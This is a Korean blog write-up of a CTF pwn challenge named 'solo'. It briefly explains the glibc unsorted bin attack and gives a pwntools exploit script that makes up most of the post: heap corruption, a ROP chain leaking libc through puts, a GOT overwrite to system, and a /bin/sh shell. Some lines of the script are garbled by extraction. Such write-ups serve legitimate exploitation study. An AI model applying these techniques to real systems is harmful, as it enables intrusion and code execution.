티스토리 뷰

solo
0.01MB

unsorted bin attack와 rop로 문제를 풀 수 있다.

 

Unsorted bin attack

unsorted bin 에 들어가있는 chunk의 bk를 변조해서 원하는 위치에 할당받는 기법이다.

bk 영역에 victim의 주소를 넣고 할당해주면 원하는 위치에 값을 쓸 수 있다.

단 victim - 0x10의 주소를 넣어줘야된다. ( header size 0x10 / 32bit 환경이라면 8byte가 된다. )

 

 

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
 
#context.log_level = 'debug'
 
= process('solo')
= ELF('solo')
= e.libc
 
def alloc(idx, size, content):
    p.recvuntil('$ ')
    p.sendline('1')
    p.recvuntil(': ')
    p.sendline(str(idx))
    p.recvuntil(': ')
    p.sendline(str(size))
    p.recvuntil(': ')
    p.send(str(content))
 
def free(idx):
    p.recvuntil('$ ')
    p.sendline('2')
    p.recvuntil(': ')
    p.sendline(str(idx))
 
def list():
    p.recvuntil("$ ")
    p.sendline('3')
    
def modify(content):
    p.recvuntil('$ ')
    p.sendline('201527')
    p.send(str(content))
 
root = 0x0000000000602080
 
alloc(10x60'a')
alloc(20x100'b')
alloc(30x60'c')
 
free(2)
modify("A"*0x60 + p64(0+ p64(0x111+ "B"*8 + p64(root - 0x10))
alloc(40x100'c')
 
p.recvuntil('$ ')
p.sendline('4')
print p.recv()
 
prdi = 0x00000000004008a0
prsi = 0x0000000000400d11
 
read_plt = e.plt['read']
read_got = e.got['read']
 
puts_plt = e.plt['puts']
puts_got = e.got['puts']
 
bss = e.bss()+0x200
 
pay = "A"*0x408
pay += p64(prdi)
pay += p64(0)
pay += p64(prsi)
pay += p64(bss) + p64(0)
pay += p64(read_plt)
 
pay += p64(prdi)
pay += p64(puts_got)
pay += p64(puts_plt)
 
pay += p64(prdi)
pay += p64(0)
pay += p64(prsi)
pay += p64(puts_got) + p64(0)
pay += p64(read_plt)
 
pay += p64(prdi)
pay += p64(bss)
pay += p64(puts_plt)
 
p.send(pay)
pause()
p.recvuntil('$ ')
p.sendline('201528')
 
sleep(0.5)
pause()
p.send('/bin/sh\x00')
 
sleep(0.5)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
base = leak - l.sym['puts']
sys = base + l.sym['system']
 
 
 
p.send(p64(sys))
 
p.interactive()
 

 

rop로 푸는것 말고도 unsorted bin 으로 libc leak해서 푸는 방법도 있다.

재미있는 문제였다 +_+

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함